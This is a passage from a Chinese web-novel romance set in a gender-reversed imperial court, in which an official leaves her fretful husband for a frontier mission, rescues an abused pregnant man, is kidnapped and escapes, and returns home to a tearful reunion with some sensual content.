这一个早上。 李持安都未出屋。 云竖也没有出去。 快午膳时,云竖给他换上衣裳,又把他抱起来离开床榻。 下午,云竖并非这一天都和他带在一处,也需要去吩咐管家,这接下来的两月里该怎么办。 云竖想着让他回扬州待上两个月,可又怕中途出什么意外。 扬州,她并无自己的人。 怕他回去,又遭受什么委屈。 府上上上下下围绕了这么多人,云竖不信还看不住他一个人。 管家听了,“要不要与主君那边说一下” “不用。”她说道。 不必让父亲这两个月里太过操心她的安全。 两个月后她就能回来。 两人在书房里待上了两个时辰,云竖才让管家离开。 过了许久,云竖才从书房内出来去了后院。 刚进院子里。 云竖就见到站在长廊处的人。 他穿着湖绿的春衫,旁边的木栏和柱子都带着暗色,阴影遮住了他的四周。 眉眼温婉,身姿端庄,娇而不妖,光站在那不用说话就觉得矜贵。 看到妻主,他小跑了过来,脸庞的耳坠轻轻晃着,轻轻打在他的脖颈处格外勾人。 他说出来的话却带着埋怨,意有所指,“妻主怎么才过来。我去找妻主,他们说妻主在书房内跟管家说事情,不然我进去。” 云竖垂眸轻轻捏着他的手,“下次不会有人拦你。” 听到这话,他这才露出笑意,漂亮的眼眸微微弯着。 “今日眼尾的胭脂很好看。”她又说道,“明日再让人送来一些。” 两人走在长廊处,长廊外的湖泊印着两人的身影,四处的植被遮住了大半的光线。 临近夏日时,虽说时常下雨,但温度适宜,不冷不热,格外舒适。 即便下雨也是下一会儿停一会儿,不见惊雷,也不见浓浓的黑雾。 “不用了,屋内的胭脂还有很多。”他小声道。 有些根本用不完,也没地方用,大部分时间都在院子里,几天也未必用一次。 第66章 第66章云学士的运气未免太差了…… 翌日。 云竖出了府。 宴席还未开始前,云竖先去拜访了长宁殿下。 屋内。 长宁盯着眼前的人,捂着帕子轻轻笑道,“我还以为你不来见我了。” “殿下推举姚妗,本就正常,何来责怪一说。”云竖落下棋子,温声回道。 “话说,殿下很看重姚妗啊。” 长宁盯着棋盘,想到姚妗,“她吗?” 只是一时你情我愿,过不久就会散去。他比姚妗大了五岁,本来就不会有结果,他也不会嫁人。 长宁盯着云竖,没想到她这么快就成了婚。 他突然有些惆怅,没提出让她做自己的入幕之宾,没想到不过是晚了一点,就被别人捷足先登。 虽说她成了婚,也不是不能让她答应下来,哪里有女君不偷腥的呢? 嫁了人的男子,一辈子都在宅院里待着,外面发生了什么,女君做了什么,他们一概不知道。 除非外室抱着孩子上了门,赎回来的侍子被马车送上门,他们能去哪里知道呢? “不过是一时的。”他说道,抬眸看向眼前清隽的女君,将想要说的话吞了下去。 云竖轻轻笑了笑,没说什么。 等宴会快要开始时,却突然出了意外。 侍从连忙走到殿下旁边,在他耳边说着。 长宁脸色变了一下,起身匆匆离开。 云竖将还没落下的棋子放下来,又抚平衣袖的褶皱,慢慢地走出了屋内。 四周已经没人了,都跑去了庭院中。 她走出屋内,穿过长廊来了庭院,很幸运地看到了结尾。 一个衣裳不整的男子被侍从围着带下去,浑身湿漉漉的,身上裹着女人的衣袍。 众目睽睽之下,这个男子只能嫁给那个女人。 已然没了清白。 她站在柱子旁边,静静盯着不远处的混乱。 等与姚妗目光对视时,云竖微微勾了勾唇角。 男子是世族的人,性格出了名的蛮横,偏偏私下底跟姚妗暧昧不清。 书中也是大着肚子进了姚妗的大门成了侧室。 云竖不知道她现在还跟谁暧昧不清,眼下的这位是她实打实看见的。 确认结尾后,云竖不再停留,转身离开。 宴席还未开始便已经结束。 而站在湖泊旁边的姚妗看着转身离开的云竖,紧紧皱着眉,脸上越发铁青。 长廊处站着的白蔓见迟迟不来的云竖,有些疑惑。 他退到边缘,随便叫了一个侍从过来询问。 便得知云竖已经离开的消息。 白蔓想着,怎么就如此难呢? …… 前前后后不过两个时辰,云竖回到府上。 “女君,转运使来了。”转运使负责粮草运行。 管家迎过来,在她旁边说道。 接着,她顿了顿,“正君也在后院等你,知晓你后日要走的事了。” 前厅处。 云竖刚进去,就见到一个中年女人站起来。 她走过来行揖礼,“云学士。” “粮草已经备好,不知道何时出发” “后日早上,城西门口的郊外等我吧。 “云竖说道。 随意交谈后,转运使便急匆匆离开,打算去准备后日的事情。 云竖起身去了后院。 院子里的侍从见了女君,连忙垂头避让。 “正君一个早上都待在里面”云竖进去前,问了问院子里的侍从。 侍从摇了摇头,“正君出来了一次,后面便没有出来了。” 云竖没再问,而是推门进去。 屋内有些乱。 衣柜里的衣裳被取出来,放在软榻上,还有一些其他东西。 “你这是做什么?” 她走,又不是他要走。 他收拾自己衣裳做什么? 云竖拿起软榻上的一件衣裳,微微挑眉。 “妻主既然要去那,我也要跟过去。” “你不能去,就待在府上,我很快就会回来。”云竖放下衣裳,伸手把还在忙碌的男人拉过来,把他抱起来放在软榻上。 “听话一点,只是两个月而已,很快就会回来,你待在府上,哪里也不要去。回来之后,我便告假,我们回扬州一趟,再去洛城,好不好?” “不好,为什么不让我跟着去”他不愿意,挣扎着。 “你一个男人跟过去做什么?路途都是女人。”她抬手抚摸他的后颈,语气轻缓,“况且路途艰险,不比府上,大半时间都在路上,你身子会受不住。” 他攥紧云竖身上的衣裳,漂亮的眼睛里带着惊疑,“我听说边疆还在打仗,都打了几个月了。” “我害怕,你不要去好不好?我真的害怕。”他声音带着慌张急促,险些要哭出来。 他又重复了刚刚的话,“我真的害怕。” “不用害怕。”她安抚道。 云竖半跪下来,抬眸盯着他的模样,“这不会有什么危险。” 李持安微微偏开脸,“可你要离开两个月。” “两个月不是两年。”她有些无奈,“好好在府上待着。” 他浑身带着不安害怕,以及委屈。 “我就知道,你突然如此,准没有好事。” 他生气似地抽出被握住的手,抬手擦了擦快掉下来的眼泪,眼尾被用力擦得通红。 见他开始生气,云竖慢慢拢住他的腰身,“这不是我能决定的,我也不想去。” 她坐在软榻上,把生气的夫郎拖进怀里,又握住他的双手。 “圣上下达指令,我不能拒绝。”她低头抵在夫郎的发顶,把人抱得紧紧的,“我自然也想跟你待在一块,你若同我去,我会担心的。” 屋内昏暗,地上都是衣裳,少年的身形被女人几乎笼罩住,眼睛簌簌掉着眼泪,紧紧抿唇不说话。 “两个月很快就会过去,我很快就会回来陪你。” 她低声哄着他,告诉他只需要在府上待着,哪里都不要去,她会早点赶回来。 骗子。 只会口头骗他。 李持安靠在她怀里,浑身动弹不得,耳边听着女人说的废话,死死咬着下唇。 屋内安静下来。 李持安轻轻挣扎着,没一会儿就放弃。 他冷不丁地说道,“若你走了,后日我就出府,日日出府。” 云竖愣了一下,突然笑了笑,“……你高兴就好。” 他一个男人,怎么可能跑得出去。 比如现在,他被她抱着,浑身动弹不得,力气小得可怜。 更别替院子里的侍从,前院的侍卫。 她低头亲了亲他的唇角,抚摸着他的腕骨,“不要生气了,后日我就要离开,难道你要与我生气到后日吗?” 他缓慢眨了眨眼睛,“你就不怕,等你回来,我就怀了孕” “什么意思?”她问道。 他顿了顿,“如今我一个月后可能就怀孕了呢?或者后日,或者半个月后,被诊断怀了孕,你也要离开吗?” 她低低在他耳边笑着,没接他的话。 “听话一点,饿了吗?” 说着,云竖慢慢摸着他细细的腰身,那里平坦纤细,这两个月不可能怀上孩子。 太医本就诊断他身子亏空,不过是一个月的时间,怎么可能那么快好。 感受到她的手抚摸着自己的腹部,活像是暗示这里不可能怀上孩子,他恼羞成怒,“不饿!” …… 后日。 云竖离开府上时,李持安依旧在榻上。 郊外。 转运使早早在那等着,见马车过来,连忙过去。 “粮草都在那”云竖看着前面一辆又一辆的推车,同时有一只军队护行。 转运使点头。 云竖看着那一车又一车的粮草,“路上不会有山匪吧。” 转运使依旧点头,“虽然有山匪,但是鲜少有人会打主意。” “有随行商人吗?” “有的,云学士不用顾虑这些。” “走吧。”云竖说道。 第二日时,云竖的马车出了问题,车轮子坏了,而又远离城内,只能骑马。 第五日时,突然下起大雨,军队在荒庙暂住一晚,云竖所有的衣裳全部被打湿,没有替换的衣裳。 第十日时,云竖所骑行的马被惊雷所惊,险些落马被踩。 第十一日时,云竖站在树下,险些被雷劈。 第十二日时,云竖被山匪盯上,半夜险些被带走,转运使发觉,连忙让士兵去把云竖截了回来。 第十五日时,云竖突然发热,难受前行。 这日,转运使还是忍不住对云竖道,“云学士的运气未免太差了。” 先前只知道云学士才气不弱,没想到运气却如此差。 居然被山匪盯上,不抢粮,却抢人。 站在树下,大太阳的,不知道哪里来的雷,直接劈下来,树都开裂了。 被扶住坐在石头上的云竖捂嘴咳了咳,声音有些哑,“你们先走吧,我可能要原地待上几天。” 转运使欲言又止,“我留下几个人护着云学士,云学士要早早赶来。” 她不可能留下来陪着云学士,需要管着军队,但云学士是朝廷重臣,不可能单独留下来。 万一中途出了什么意外,她这个官职就别想要了。 云竖点头,“我知道。” 军队护着粮草离开,渐渐就看不到了身影。 云竖被扶起来,就近找了村子。 她们是夜里赶到村子里的,被村长收留。 几个士兵寸步不离云学士,几乎站在门口守着,其中一个直接守在床边。 云竖高烧不退,足足在床上躺了两天。 第三日。 云竖才有力气离开床榻。 她推开屋内的门,看向这个院子里摆设,村长连忙赶过来。 一个士兵直接挡在了村长面前,让她后退。 云竖忍住想咳嗽的行为,开口道,“多谢村长这两日的收留。” 云竖让旁边的人将银两送过去,便提出要离开。 村长听说她要走,脸上有些异样,还是很快答应下来。 云竖让旁边的人寻了马车过来,坐在院子里歇息,询问身边的人村子里的情况。 “村里不见男人,只说是为了当选圣子,不应该出门见人。村子外有一座寺庙,村里会挑出几个男人送过去当圣子。”她回道。 第67章 第67章或许她真的很倒霉 她们大半的行李和十五日的粮食都放在村外,也怕出意外。 在大人高烧昏迷这两日,其中两人就去村子里走了一圈,又原路返回。 留下来的人有六个人,都擅长打斗。 “大人何不再歇一天,等身体再好一点,再出发。”其中一人问。 “两日已经够了。”云竖低头咳了咳,抚平衣裳的褶皱,又抬眸端看着四周。 “久待并不好,这里的人行为奇怪,想来十分害怕官兵,再多一日,恐怕会生意外。” 云竖听到圣子两个字就觉得不对劲,这里有哪个地方会把男人当人呢? 这里越靠近边疆,这里的人就越不受官府管控,各有各的规矩。 行为残暴,思想更是狠厉。 马车没等过来,却等来了一个披头散发的男人,从角落里钻出来,往云竖的方向跑过去,很快被士兵拦住。 云竖盯着那人,闭了闭眼睛,抚额揉了揉。 “大人救救我吧。” 如何救呢? 靠这六个人,还有一个病人去把这个村子里总人口有40多个人都抓住吗? 六个人里面还出去了三个。 两个守行李,一个找马车。 “大人”旁边的人问道,“赶走吗?” “我要如何救你呢?要救你什么?”她声音有些弱,脸色苍白,即便已然是初春,却依旧感到寒冷。 “大人,大人把我带走吧,这里待不了,待不了,她们不把我们这边命当命。”他声音很尖,却不大。 “她们不是人,她们剥我们的皮,还要我们的肚子,还要把我们送给寺庙里,谁都可以踩踏我们。” 云竖这才意识到他怀了孩子,腹部微微隆起,他佝偻着背,一时无法注意。 “给他一身衣裳,让他换上,鞋子垫高一些,穿厚一些。”云竖低声咳了咳,“你说的那些问题,我现在没法给你解决。” 只有返程的时候,把这村子里的人都带走,就近送进监狱里,而那些男子,不可能人人都有好下场。 人求到了面前,也不能让他回去,说不定命就没了。 “是。”旁边的人示意那男人进屋,把她自己的衣裳拿了出来,让他去换上。 她甚至没有去问这个男人愿不愿意,刚要抬起手把他拉进去,就见他犹豫地抬脚跟了过去。 还没一炷香的功夫,外面就开始乱了起来,不少人往村长的方向跑过来。 她们低声讨论着,讨论谁跑了,又时不时看向正在低头喝茶的云竖,看到她旁边守着的三人,又回头不敢看。 接着,她们分散开去寻人,手里拿着家伙,村长转过身走到云竖面前,“让大人见笑了。” “怎么了?” “诶,她们夫郎不见了,怀着孩子,不知道去哪里了。” “一起不见的” 村长听到笑了笑,唏嘘道,“这里男人少,当然是几个女人共用一个男人,能生孩子就行了,不在意是谁的,都当自己的,这里不比外面,人人都能有一个夫郎。” “这样啊。”云竖说道。 村长见她们一直待在这,哪里也没去,也不想惹来其他人来,只好离开。 等村长走后,马车很快找来,比较粗陋。 马车后面还跟了几个人,像是看热闹一样,站在不远处看。 “大人,现在走吗?” 云竖起身,“走吧。” 她没先上马车,而是示意旁边的人把看热闹的人赶走。 “看什么看,别挡路了。”三个人去推她们,抽了抽腰间的刀,高声恐吓她们。 云竖站在那,示意那个人出来。 他似乎很害怕,跑过去的时候险些摔倒,眼泪嗒嗒地落下来,也不敢发出声音。 等他上去后,云竖才上马车。 见大人上了马车,她们连忙用马鞭拍打马,顺着最近的路线离开村子。 马车内,他一直在发抖,不敢去看外面什么动静。 有人经过马车,听到熟悉的声音,他更是全身颤抖着,皮肉抽动着,想躲起来,想拿什么遮住自己的脸,还有隆起的肚子。 云竖看着,有些无奈。 她把身上的裘衣给他,那裘衣宽大厚重,盖在他身上,把他整个人都盖住了。 他没敢动。 马车突然停下来,云竖睁开眼睛,“怎么停下了?” 马车外,“大人可看到怀着孩子的男人” 士兵皱眉,语气凶戾,“什么男人,耽误了大人去边疆,到时候有你好受的。” 外面几个点还是有些不甘心,想掀开帘子去看有没有其他人。 她们到处找也没有找到。 一个怀着孕吃不饱的男人能跑到哪里去呢? 怎么可能跑远呢? 士兵见她们蠢蠢欲动,抽出刀。 旁边看热闹的人似乎被惹恼了,一趟走了过来,围住了马车前的路。 她们各个身体强健,十几个人围住前面,目光不善。 云竖掀开帘子,轻咳着露出半边身子。 “马车里可没有男人,若是实在心急,不如再仔细找找。” 她刻意露出里面的一半,将男人遮到自己身后,露出的身影都被裘衣遮挡。 帘子没有掀开许多,只让她们看到马车内的一点。 “走吧。”云竖对着士兵说道,面色如常。 围住的人有一个不老实起来,旁边的士兵直接拿刀柄砸了她的手臂,“滚。” 那刀锋利,不小心割出她手臂上一半的衣袖。 云竖抬眸去看,又坐了回去。 十几个人,她们四个倒是也能解决。 只是看她们要不要命,总有胆小怕事的。 马车渐渐前行,那些人散开,脸色有些不好。 又不是她们丢了夫郎。 出了村子,守着行李的人赶过来,把行李放在马车的后面,用绳子固定住。 “大人,要原地歇息吗?” “天快黑了,再寻个地方停下来吧。”云竖看了看天色,缓慢说道。 “两天的时间,不知道转运使到了哪里。” 这接下来十五天,谁会知道发生什么呢? 云竖看着蹲在树下的男人,他很害怕,紧紧裹着自己的衣裳,开始害怕远离村子的生活,害怕她们也不是个人。 她想着,该如何安顿他。 …… 临近边疆时,云竖刚入城,就有人去通报转运使。 街上人来人往,她身边被人围住,避免有人冲撞大人。 拐角处,一个少年小声问道,“那是谁?怎么没见过” “那架势,一看就是朝廷那边派过来的。” 他眼睛转了转,“我们去把她抓走吧。” “你答应我,我们只是来逛逛的。” 她们抢了别人的路印,又学习了几番怕别人看出不对劲,趁着夜色跟别人进来。 他有些气馁,“可她长得真好看。真的很好看,好想抓走,光看着就觉得很好了。” “你觉得好看的,最后都被扔了,要么被拆解了,你的喜欢还是少点吧。我们不能在这里闹事。” “怎么会呢?我在这里活了十八年,哪里看到过这么好看的人,这里找不出第二个,我肯定会一直喜欢下去的。”他嘟囔着,觉得有些委屈。 见那个女君走远,他还是有些不甘心。 他也可以让她做他妻主啊,这不就能长久在一起吗? “你没看到她身边有一个男人吗?都怀孕了。”她看了看四周,“我们走吧,也该回去了。” 怀孕 少年还没回想什么,就被女人拉走,消失在拐角处。 马车停在了宅院的门口。 云竖被扶下来,低声咳着,抬眸打量了一下四周。 那六个人便对云竖提出离开,赶往军队。 云竖点头,道谢过后,便抬脚进了府上。 里面的仆从出来,把云竖和那个男人迎了进去。 “你先住下来吧,等会儿让人给你抓几服药。”云竖侧身对后面的人说道。 他点了点头,低垂着头,下意识抓紧腹前的衣裳。 云竖被引进了前厅,而其他侍从把他领去了旁处。 长廊处,给男人引路的人悄悄打量着他的面容。 普通,胆小。 那个女君也会看上这么普通的男人吗? “女君对正君真的很好呢。”侍从侧身,给他推开门。 男人听到,愣了一下,却没出声否认。 要是,要是她真的是就好了。 他微微抿唇,攥紧袖子,想要遮住自己的腹部。 他肚子里还怀着那些人的孩子,却不敢打掉。 等那侍从走前,他突然出声,“我不是女君的正君,只是跟在她旁边而已。” 侍从愣了一下,很快微笑点头,退出了屋内。 大厅前。 转运使很快赶了过来,看见大厅里站着的女君,上前行 揖礼。 “云学士。” “云学士没事吧。” 云竖摇了摇头,“明日便安排一下,让我见一下统帅吧。” 早早处理好,她便早早赶回去。 云竖几乎能够预见她回去时,他要如何生气发怒。 “等会我便去城府,跟统帅说明。” 云竖暂时居住了下来。 转运使走后,她便坐在椅子上歇息,撑着手,揉了揉眉间,这个月积累的疲倦彻底从身体涌现出来。 她脸上有些苍白,甚至消瘦了一些,连了半个月的咳嗽,也不见好,甚至愈发严重。 随意用饭后,云竖便去了安排的屋内。 夜里。 屋内昏黄,很是安静。 云竖起身,正要剪了灯芯,就听到了外面的动静。 还没多想什么,云竖后面站了一个人,幽幽地盯着自己,身影在屏风处晃着。 她顿了顿,脑子里有些迟钝,刚刚侧身,就被打晕。 前一刻她想着,或许真的如转运使所说的那般,她真的很倒霉。 原以为到了这里,已经没有意外的事情发生。 “快,快带走。”那声音细细的,很小,又带着兴奋,脸上遮不住的笑容。 他忍不住捂嘴笑了笑,眼睛在黑夜里发亮。 第68章 第68章就想如此将他敷衍过去 夜里的城门外,他直勾勾地盯着那女君,“真是奇怪,出来的真是顺利。居然也不盘问我们,就这样把我们放出来了,要是之前也那样,我还用得着那么小心吗?” “好了,回去后你记得给我藏好,谁都不能说。不能让别人知道我们把人抢了过来。”她一边说着,一边翻白眼。 隔日早晨。 “大人,云学士不见了!” 转运使睁大眼睛,面容震惊,浑身瞬间脱力下来,肉眼可见地慌张起来。 “去找,还不去找。”她大喊道,一个字比一个字重。 她甚至亲自去了云学士的住处找,不相信似的来回找了三次。 …… 一个多月后。 京都处。 淞朱扶着公子出了府,坐上马车去了薛棋的府上。 马车内,李持安有些沉默。 马车轻轻晃着,外面的声音杂乱听不清楚,淞朱看着公子在那发呆也不敢说话。 女君比原先说的时间晚了将近一个月,出去了整整三个月。 公子几乎也焦急了三个月,老老实实在府上等着,也不出去。 如今终于忍不住了,托人送了帖子过去询问。 到了薛府,马车停了下来。 李持安被扶下来,进薛府的大厅。 被随从叫过来的薛棋看到大厅的人,那个男人看向自己,眉眼清凌凌的,却莫名的柔顺听话。 她想着,云竖喜欢他也挺正常的,好看,家世也好,虽然中间出了一点意外,人看着也听话。 想到云竖的消息,她还是皱了皱眉。 “你若是来问云竖的,我也没办法回答你,你在府上再等等,中间出现什么事情搁置了一下,也不是不可能。” 李持年微微蹙眉,语气不自觉加快,“可可不是赢了吗?还能出什么事情薛学士是不是知道一点什么,我都能接受的。” 薛棋还是摇头,“这我并不知道。” 总不能告诉他,云竖在边疆失踪了,找不到人了。 但是也没有找到尸体。 若告诉他情况,说不定云竖还活着,回来了连夫郎都找不到了。 万一人就回来了呢?毕竟这里和边疆,快马加鞭,也有十日的信息误差。 只是现在没有情况而已。 转运使也没有回来,只是说定然要找到云学士。京都的人都知道,她找不回来,算是完蛋了,还不如多在边疆待一会儿。 本想着云竖此次回来,会从翰林熬出来,谁知道会出这种事情。 被含糊其辞的李持安从薛府出来,还未上马车,整个人就瞬间疲倦下来,甚至没了力气。 怎么办呢?怎么办呢? 李持安张了张口,呼吸困难,怎么可能不知道薛棋这话语是什么意思。 不就是无法确定人是死是活吗? 再如何搁置,两个月的时间还不能从边疆回来吗? 慢慢浮现的猜想,让李持安从头到脚开始绝望起来,不想去猜想,不敢去猜想。 一想到可能的结果,李持安甚至不能呼吸。 淞朱连忙将公子扶上马车。 马车内,他的眼睛慢慢红了起来,一言不发。 淞朱擦着公子的手,小心道,“公子再等等,说不定女君就回来了。” 公子似乎不愿意说话,面容沉寂下来,寡淡冷清。 马车继续前进着。 突然停了下来,同时听到了两匹马的声音。 外面的人朝马车内的正君说道,“对面来了一辆马车。” 马车相撞,总要有一个退后相让。 李持安出声,给她们让路,并不想多生事端。 对面那辆马车似乎知道了这辆马车的身份,很快女人的声音就响了起来。 “正君不想知道云学士的下落吗?” 淞朱听到,狠狠皱眉,觉得那女人不怀好意。 李持安急促呼吸了几下,觉得烦躁,恨不得掐死说话的那人。 姚妗见里面的人不出声,继续说道,“我听闻云学士不知所踪,却找到了她的衣物。” 马车里的帘子终于掀开了一点。 他嗓音有些冷,“她如何了?” 那帘子的一角,只露出他的半张脸来。 他眼圈红红的,活像是被人欺负过一般,浑身柔弱,到透着美艳熟透的气息出来。 姚妗不可抑制地看出了神,甚至喉结也滑动了一下,目光变得炙热。 甚至能够想到这气性大又容貌美艳的寡夫被压在身下会是如何的模样,会比其他男人更加放浪还是更加羞涩。 她嘴角咧了咧,带着极为浓厚的恶意和不加掩饰的打量,“她死了,转运使不敢回来,两个月找不到人,将城中翻了一个遍,却只找到她烧焦到一半的衣物,甚至还找到烧焦的尸体,你说她死没死,边疆可不是好玩的地方。” 马车上的人良久没说话,另外一个声音出现,带着急促,“回府。” 姚妗盯着那马车离开,目光阴晦,又叫来旁边的随从,在她耳边说了一些话。 还在看热闹的几人散开,听着刚刚的话,不免唏嘘几下。 这刚娶回来没多久的夫郎就成了寡夫,听说还没个孩子。 不是克母就是克妻。 回到府上。 李持安便待在内室不出来,内里的侍从都被赶了出去,只有他一个人。 搁着屏风,他伏在床榻上低低地哭着,浑身脱力,薄衫遮不住脊骨的凸起。 翌日。 他又派人去找昭鹤,去让人询问妻主的下落。 他待在内室里不出去,甚至从昨夜到现在也没吃饭。 淞朱从外面进来,绕过屏风,见公子抬眸盯着自己,稍稍点了点头。 “是真的”他身形晃了晃,声音有些颤抖,甚至失声。 淞朱走到公子身边扶住他,言语晦涩地说道,“昭鹤女君说,情况确实如此,但叫公子再等等。说是等转运使回来,等她回来,转运使还未回来,这一切都还没定下来。” 等。 又要等。 他还要等多久? 李持安低垂着头,攥紧帕子,目光挪移到藏在床底的白绸。 “公子,公子为何不再等等,家主还在洛城……” …… 城外。 “云学士,你真是害惨我了。”她又忍不住说,“你不知道我这两个月怎么过的,胆战心惊啊,就差没拿把刀架在脖子上了,我回去就给您供个长生牌。” 马车内,女人低声咳着,抬手给她倒了一杯茶,嗓音有些哑,“只是意外而已,我不是自己回来了吗?” 转运使想到她回来时的样子,像是出去游玩了一番,什么意外也没有。 好好地从城门走了进来,被士兵 拦下,因为云学士身上没有路引,她进不来。 她出去迎接时,感觉自己的寿命都短了一截。 而得到的答案,只是她逃了出来,其余的也不再说。 进了京都的城门后,转运使才彻底安下心来。 一进城门,她一刻也坐不住,急急与云学士分别,打算去复命。 今日的太阳很大。 云竖放下帘子,垂眸遮住手腕的皮肤,脸色有些苍白。 马车慢慢朝云府的方向过去。 云竖一进城门,就有不少人知道她回来的消息。 她前脚刚进府,圣旨就紧接着上门。 府上的侍从连忙去了后院告知正君,府上一时乱了起来。 云竖让人将圣旨放好,紧接着抬脚去了后院。 她听着管家的话,微微皱眉。 “他出去了?” 管家欲言又止,“女君迟迟未归,正君只能出去询问女君的情况。” 后院长廊处。 微风轻轻吹着,将竹帘吹起来,有些阴冷。 葱绿的植被遮挡着光线,连着那湖泊,格外清凉。 急急赶来的男人扑在她怀里,浑身颤抖着,一句话也说不出来。 云竖低声安抚着他,把他抱起来。 他埋在她的脖颈处,紧紧抱着她的脖颈,眼睛红通通的,抽噎着,极为可怜。 旁边的侍从跟着,淞朱示意他们退下去,只关上屋门,在外面守着。 那些侍从面面相觑,想着正君定然要吵闹一顿,女君未免回来的太晚了。 外面庭院寂寂,没有一个人敢说话。 屋内,屏风隔绝着外面,屋内只有她们两个人。 屋内只能听到男人的哭声,他被女人紧紧抱着,额上的发紧紧黏着,发丝凌乱。 她抱住他的腰身,亲了亲他的后颈,耐心地等待他冷静下来。 她用帕子轻轻擦拭着他的眼泪,浅色的眼眸中无奈却带着怜惜。 云竖意识到他是如此的柔弱,不论是精神上还是**上。 不堪一击,很容易死亡。 不论他性格如何,身份如何。 她抚摸着他的后颈,抚摸着他的后背,胸腔下的心脏跳得很快。 他埋在她的怀里,大声哭着,不管外面的侍从会不会听到,哭得身子也麻了,脑子也没法思考,心中的委屈和难过直接溢散出来,蛮横地撒在女人身上。 “我回来了。”她在他耳边轻轻说道,“还哭的话,眼睛就要难受了。” “好了,持安,冷静一点。”云竖扣住他的腰身,按在自己的身上,低头亲了亲他的脸,又亲了亲他哭红的唇。 他的唇是热的,面容潮热湿红,眼睛里含着泪,不需要眨眼也能掉下来。 他的眼泪滴到云竖的脸上,她抬眸盯着他的眼睛,那眼眸内戚戚地,似乎还带着绝望。 可怜巴巴的。 她不是回来了吗? 云竖有些不解。 “你还回来做什么,干脆……干脆等我死了再回来,你好再娶一门。我哭得还少吗?她们都说你死了,说我克母克妻,你还嫌弃我哭,你真是混蛋。” 怀中的人长发凌乱,腰身的布料被揉得褶皱,紧紧贴在那丰腴的身体上,既凌乱不堪又楚楚可怜。 他戚戚地哭着,不忘骂人,肩膀轻轻起伏,似乎哭过头了,还轻喘着气。 云竖瞧着瞧着开始关注他的身体,腰身似乎比之前细了一些,衬得那腰下格外挺翘,像是多汁的荔枝一般。 跟以往不一样,没了之前的青涩,反而熟透了,像蜜桃一样。 云竖不轻不重地掐了掐他的腰身,探进他的衣裳里轻轻地揉着。 见她如此,他小声骂道,红唇微微张开,“你真是过分。” 就想如此将他敷衍过去。 随着他被亲住,李持安呜咽着,眉宇很快柔媚起来,漂亮的眼睛里变得糜艳。 云竖盯着,心脏跳得很快,不知道他这三个月多变化这么大。 浑身散发着让人喜欢的气息。 被松开后,他伏在她肩膀上,小声在她耳边说道,“你个骗子,我讨厌死你了。” 经过她这样一弄,他不哭了,只安静地埋在她怀里。 云竖没有再动手动脚。 过了许久。 他小声说道,“父亲一个月前送了信来。说,说我有没有怀孕,这件事情,你自己去跟父亲说。” 第69章 第69章敲打1 “是吗?”女人轻轻摩挲着他的腕骨,低眸盯着他。 他伏在她怀里仰头看她,发丝凌乱甚至贴着自己的额眉,衣裳也很薄,被眼泪打湿时更是紧紧贴在身子上。 “都是妻主的错,都是你的错。”他小声道,嗓音里却含着撒娇的意味。 若妻主早早回来,他也早早就怀上了孩子,怎么可能到现在连个影子也没有。 她若还不回来,他就拿着那白绸早早了断就是。 不管自己的话听起来如何,他满脑子里只想黏着妻主。 他抬手攥住她的手臂,又勾着她的脖颈,红润饱满的唇擦过她的脖颈,带着清浅的呼吸,攀上她的脸,眼眸中朦胧含情。 接着,他被压着软榻上,衣带被扯开,露出白皙细腻的肌肤,皮肤薄而紧绷,光泽清透。 云竖抚摸着他的腹部,想着这细细的地方被绑着纱幔会多好看,或者穿着轻薄的纱衣。 耳坠落在软榻上,那颗绯色的珠子在那滚着,时不时跟发丝缠在一块。 屋内轻纱无风自动,带着微微晃动,婀娜摇曳,明亮的光线让屋内遮不住一点阴暗。 他抬手轻轻拨弄妻主耳边的头发,眉眼柔和。 露出白皙的手臂,映衬着青丝,那雪色的肌肤被绯色浸染,漂亮的眼睛雾蒙蒙的,涣散聚不到光。 细腻白皙薄薄的面容清艳端透,静静躺着软榻上,又莫名娴雅寂静。 滚烫的气息围绕着他,无刻不侵略他的五感,他的身体止不住颤抖着。 “妻主……”他裸露出自己的委屈和害怕,完全软着身子,任身上的人摆弄自己。 细细的哭泣声慢慢出现,他的身体正在发抖,腰身越发软。 …… 天快黑时,沐浴后的李持安软着身子倚靠在榻上歇息,模样素净,披散着头发,额间的碎发也有些濡湿。 他的手腕上不知道何时被套了一个红色的镯子,无力的手指搭在被褥上,时不时无法控制地抖一下。 他垂着眼眸,睫毛轻轻颤了颤,湿得黏连在一块,白皙的面容犹如消融的雪水,稠艳清丽。 没了之前幽怨和绝望。 “女君呢?” “女君同管家在书房待着。” 李持安靠在那,手指卷着发梢,漂亮的眼睛盯着那跳动的烛火,“去把那白绸烧了,别让人看见。” 淞朱打了热水来,坐在公子旁边,热敷着公子的眼睛,这才应下公子的话。 他闭上眼睛,“还有那个姚妗,派人查查她。” 若是以前,谁敢跑到自己面前如此嚣张。一个不知道从哪里来的东西,得了一点权势便得意忘形。 过了许久。 女君绕过屏风走了过来,示意淞朱下去。 她低垂着眸,面容素白冷冽,俯身把软榻上的人抱起来,“饿了吗?” “你这里都没力气了。”她指着他的小腿,那悬在空中,握住的大腿处也在发颤。 “听他们说,你不怎么吃饭。”她把他抱出屋内,李持安埋在她的脖颈,有些不大乐意被那些侍从看到自己被抱起来,只好把自己的脸埋起来。 他声音闷闷的,“若不是妻主,我会这样吗?” 云竖自知自己有错,很快闭上了嘴。 她想着,该把那姚妗弄下去,老这么蹦跶显然不行。 李持安蹭了蹭妻主的脖颈,眼睛里水汪汪地,安安静静地。 …… 翰林处。 穿着绯色官袍的云竖旁边跟着一个小孩,她扯了扯老师的袖子,想要去玩。 “不可以乱跑。”云竖语气轻淡。 殷宁老实下来。 “老师不喜欢那个姚妗吗您刚刚在说她的坏话。”殷宁忍不住问。 “只是她该外派而已。”云竖敷衍地解释。 “还有,老师请假要去哪里啊?我能跟着去吗?我都连着几个月不见老师了,老师也不管管我的功课。” “你的功课自然有人看着,你不仅仅只有我一个老师。” 她还只是随意教教而已。 就跟上司跟她说,叫她教教小孩,辅导一下作业。 她的工作又不是这个。 殷宁鼓了鼓脸。 云竖抚摸她的头顶,语气轻缓,“我要回扬州一趟,我去边疆时就已经跟圣上说过,这是早早就被允许过的,等再过一会儿,教你的人会定下来,我也不用教你了,你自然有别的老师。” 前段时间选秀,宫中如今已经有人怀了孩子,而君后一直无子,便将殷宁认养在名下。 算是嫡出,又是长女。 自然要给她找个正经老师给她上。 回到翰林,云竖就让殷宁进屋看书,自己则在外面跟同事说话。 薛棋一脸感慨,还有些没反应过来,“你真行。” “话说,你几个月不回来做什么去了?” 云竖想了想,含糊道,“就是被人抓了,我把别人房子给烧了,然后就跑出来了。” 那几个人要压着她成亲,成亲那天,她被放开手脚,顺势把房子给烧了。 